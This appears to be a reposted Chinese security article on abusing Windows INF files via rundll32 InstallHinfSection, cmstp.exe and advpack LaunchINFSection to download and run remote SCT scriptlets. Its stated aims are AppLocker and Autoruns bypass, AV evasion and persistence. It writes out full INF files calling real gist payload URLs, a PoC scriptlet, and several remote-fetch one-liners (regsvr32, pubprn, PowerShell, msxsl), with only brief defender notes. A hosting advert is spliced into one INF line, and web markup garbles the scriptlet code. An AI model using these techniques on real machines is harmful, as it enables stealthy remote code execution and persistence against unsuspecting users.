本篇文章为大家展示了如何利用INF Script下载执行技术来进行绕过、免杀和持久化,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
简介
通过对MSDN上一些处理不同COM脚本的调查和测试,结合网上的分享,我发现了一些有意思的东西,这些发现可能是远程调用执行脚本新方法。
其中最有意思的是
LaunchINFSection
。
这篇文章主要讨论一下网上公开的利用
INF Script
的方法,并介绍下
LaunchINFSection
,最后再分享一些用法和作为防御者应该注意的事项。另外,还会给出一些其他远程执行脚本方法的参考。
INF Script
执行方法
INF Script
通过INF配置文件来执行脚本文件(
.sct
)的方法会涉及到
InstallHinfSection(setipapi.dll)
,
CMSTP
和
LaunchINFSection(advpack.dll)
。
使用
InstallHinfSection
执行
INF Script
脚本
InstallHinfSection
INF Script
在DerbyCon 2017中
KyleHanslovan
和
ChrisBisnett
展示了一个非常有意思的东西,我已经将其翻译和整理过来(传送门:透过Autoruns看持久化绕过姿势的分享 )。他们展示 了一种通过INF 远程调用执行
sct
脚本文件的方法:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]
作者给出的INF文件如下:
-
;
---------------------------------------------------------------------- -
;
Required
Sections -
;
---------------------------------------------------------------------- -
[
Version
] -
Signature
=
$CHICAGO$ -
Provider
=
test -
Class
=
Printer -
[
Manufacturer
] -
HuntressLabs
=
ModelsSection
,
NTx86
,
NTia64
,
NTamd64 -
;
---------------------------------------------------------------------- -
;
Models
Section -
;
---------------------------------------------------------------------- -
[
ModelsSection
.
NTx86
] -
UnregisterDlls
=
Squiblydoo -
[
ModelsSection
.
NTia64
] -
UnregisterDlls
=
Squiblydoo -
[
ModelsSection
.
NTamd64
] -
UnregisterDlls
=
Squiblydoo -
;
---------------------------------------------------------------------- -
;
Support
Sections -
;
---------------------------------------------------------------------- -
[
DefaultInstall
] -
UnregisterDlls
=
Squiblydoo -
[
Squiblydoo
] -
11
,,
活动:慈云数据爆款香港服务器,CTG+CN2高速带宽、快速稳定、平均延迟10+ms 速度快,免备案,每月仅需19元!! 点击查看 scrobj
.
dll
,
2
,
60
,
https
:
//gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct
上面的命令会去调用默认INF块,即
DefaultInstall
,在这个块下,通过
UnregisterDlls
调用了
Squiblydoo
块下的恶意命令,通过
scrobj.dll
下载并执行指定的脚本文件。
使用
CMSTP
执行
INF Script
脚本
CMSTP
INF Script
NickTyrer
展示了一种用
cmstp.exe
加载INF文件来下载SCT脚本并执行COM脚本文件的方法。
Oddvarmoe
曾展示了用
cmdtp.exe
来绕过UAC和AppLocker默认策略。
基本用法如下:
cmstp.exe /s [file].inf
INF文件内容参考如下:
-
;
cmstp
.
exe
/
s cmstp
.
inf -
[
version
] -
Signature
=
$chicago$ -
AdvancedINF
=
2.5 -
[
DefaultInstall_SingleUser
] -
UnRegisterOCXs
=
UnRegisterOCXSection -
[
UnRegisterOCXSection
] -
%
11
%
\\scrobj
.
dll
,
NI
,
https
:
//gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct -
[
Strings
] -
AppAct
=
\"SOFTWARE\\Microsoft\\Connection Manager\" -
ServiceName
=
\"Yay\" -
ShortSvcName
=
\"Yay\"
通过如上的INF文件,
cmstp.exe
会调用文件中的
DefaultInstall_SingleUser
块。在这个块中,
UnRegisterOCXs
调用了
UnRegisterOCXSection
块来执行恶意操作,通过
scrobj.dll
来下载并执行指定的SCT脚本文件。
使用
LaunchINFSection
执行
INF Script
脚本
LaunchINFSection
INF Script
根据MSDN的说明,
LaunchINFSection
是Advanced INF Package Installer(
advpack.dll
)的一个方法,用来调用INF文件中的某个块。从管理员的角度看,INF文件是一个用来安装设备驱动或Windows
.cab
文件的指令文件,包括注册Windows二进制(exe,dll,ocx),在注册表中增加键值,或设置一些关键参数的操作。
调用
LaunchINFSection
的方法如下:
rundll32.exe advpack.dll,LaunchINFSection [file].inf, [INF Section], [Path to Cab].cab, [Installation Flags]
如果不指定
[INF Section]
,
LaunchINFSection
将会调用默认的
DefaultInstall
块。另外,值得注意的是,
advpack.dll
还提供了
LaunchINFSectionEX
方法和与其它字符集兼容的
LaunchINFSectionA
,来完成
LaunchINFSection
同样的功能。
作为PoC例子,我们使用如下的INF和SCT文件来测试:
INF文件(保存为test.inf):
-
;
cmstp
.
exe
/
s cmstp
.
inf -
[
version
] -
Signature
=
$chicago$ -
AdvancedINF
=
2.5 -
[
DefaultInstall_SingleUser
] -
UnRegisterOCXs
=
UnRegisterOCXSection -
[
UnRegisterOCXSection
] -
%
11
%
\\scrobj
.
dll
,
NI
,
https
:
//gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct -
[
Strings
] -
AppAct
=
\"SOFTWARE\\Microsoft\\Connection Manager\" -
ServiceName
=
\"Yay\" -
ShortSvcName
=
\"Yay\"
SCT文件:
-
-
-
-
-
-
-
-
-
-
-
-
CDATA
[ -
var
r
=
new
ActiveXObject
(
\"WScript.Shell\"
).
Run
(
\"calc.exe\"
); -
]]> -
/ span class="hljs-name"br / scriptbr / /spanbr / > -
/ span class="hljs-name"br / registrationbr / /spanbr / > -
-
/ span class="hljs-name"br / methodbr / /spanbr / > -
/ span class="hljs-name"br / publicbr / /spanbr / > -
-
CDATA
[ -
function
Exec
() -
{ -
var
r
=
new
ActiveXObject
(
\"WScript.Shell\"
).
Run
(
\"notepad.exe\"
); -
} -
]]> -
/ span class="hljs-name"br / scriptbr / /spanbr / > -
/ span class="hljs-name"br / scriptletbr / /spanbr / >
使用下面的命令来执行一下:
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,
如果网络没有问题的话,会出现我们可爱的计算器:
这里,我们还可以用稍微不同的方法启动我们的程序,例如,把INF文件中的入口块改成
DefaultInstall
,那么我们就可以使用下面的命令执行程序,而无需指定一个块名字:
rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,
另外,我们也可以将卸载OCX的命令改成一个安装/注册的命令
RegisterOCXs
,并且随便一个名字来运行我们的程序:
使用和防御方法
恶意软件
绕过,免杀和持久化
CMSTP可用来绕过Autoruns(当开启隐藏Windows条目时),如下图:
当不启用隐藏过滤功能时,CMSTP做的自启动项如下:
注意:LaunchINFSection和InstallHinfSection不会以绕过新版本的Autoruns,因为这种启动方法依靠rundll32.exe调用相应的dll。当启用过滤时,Autoruns还是会显示这些自启动项。但是,
LaunchINFSection
提供了我们一种通过程序白名单绕过AppLocker规则来获得
代码执行
的技术。
网络中的流量
下图是通过scrobj.dll来下载一个SCT文件时产生的流量:
任意文件名
SCT文件只不过是
text/XML
文档,而INF文件只不过是
text
文档,其后缀扩展名可以不是
.sct
或
.inf
,但依然可以成功执行。(此处译者并没有实验成功,希望各位表哥赐教!)
其它方法
使用INF文件执行并不是唯一可以执行SCT脚本文件的方法,还有一些其它方法:
RegSvr32/Scrobj.dll
RegSvr32/Scrobj.dll
regsvr32 /s /n /u /i: http://url/file.sct scrobj.dll
PubPrn
PubPrn
pubprn.vbs 127.0.0.1 script:http ://url/file.sct
通过PowerShell拼接Microsoft.JScript.Eval
[Reflection.Assembly]::LoadWithPartialName(\'Microsoft.JScript\');[Microsoft.JScript.Eval]::JScriptEvaluate(\'GetObject(\"script: http://url/file.sct\").Exec()\',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
通过PowerShell拼接Microsoft.VisualBasic.Interaction
[Reflection.Assembly]::LoadWithPartialName(\'Microsoft.VisualBasic\');[Microsoft.VisualBasic.Interaction]::GetObject(\'script: http://url/file.sct\').Exec(0)
值得注意的是,
sct
并不是唯一一种文件,还有其他的,如:
MsXSL
MsXSL
msxsl.exe http://url/file.xml http://url/file.xsl
通过PowerShell拼接System.Xml.Xsl.XslCompiledTransform
$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load(\'http://url/file.xsl\',$s,$r);$x.Transform(\'http://url/file.xml\',\'z\');del z;
上述内容就是如何利用INF Script下载执行技术来进行绕过、免杀和持久化,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注服务器测评网行业资讯频道。
还没有评论,来说两句吧...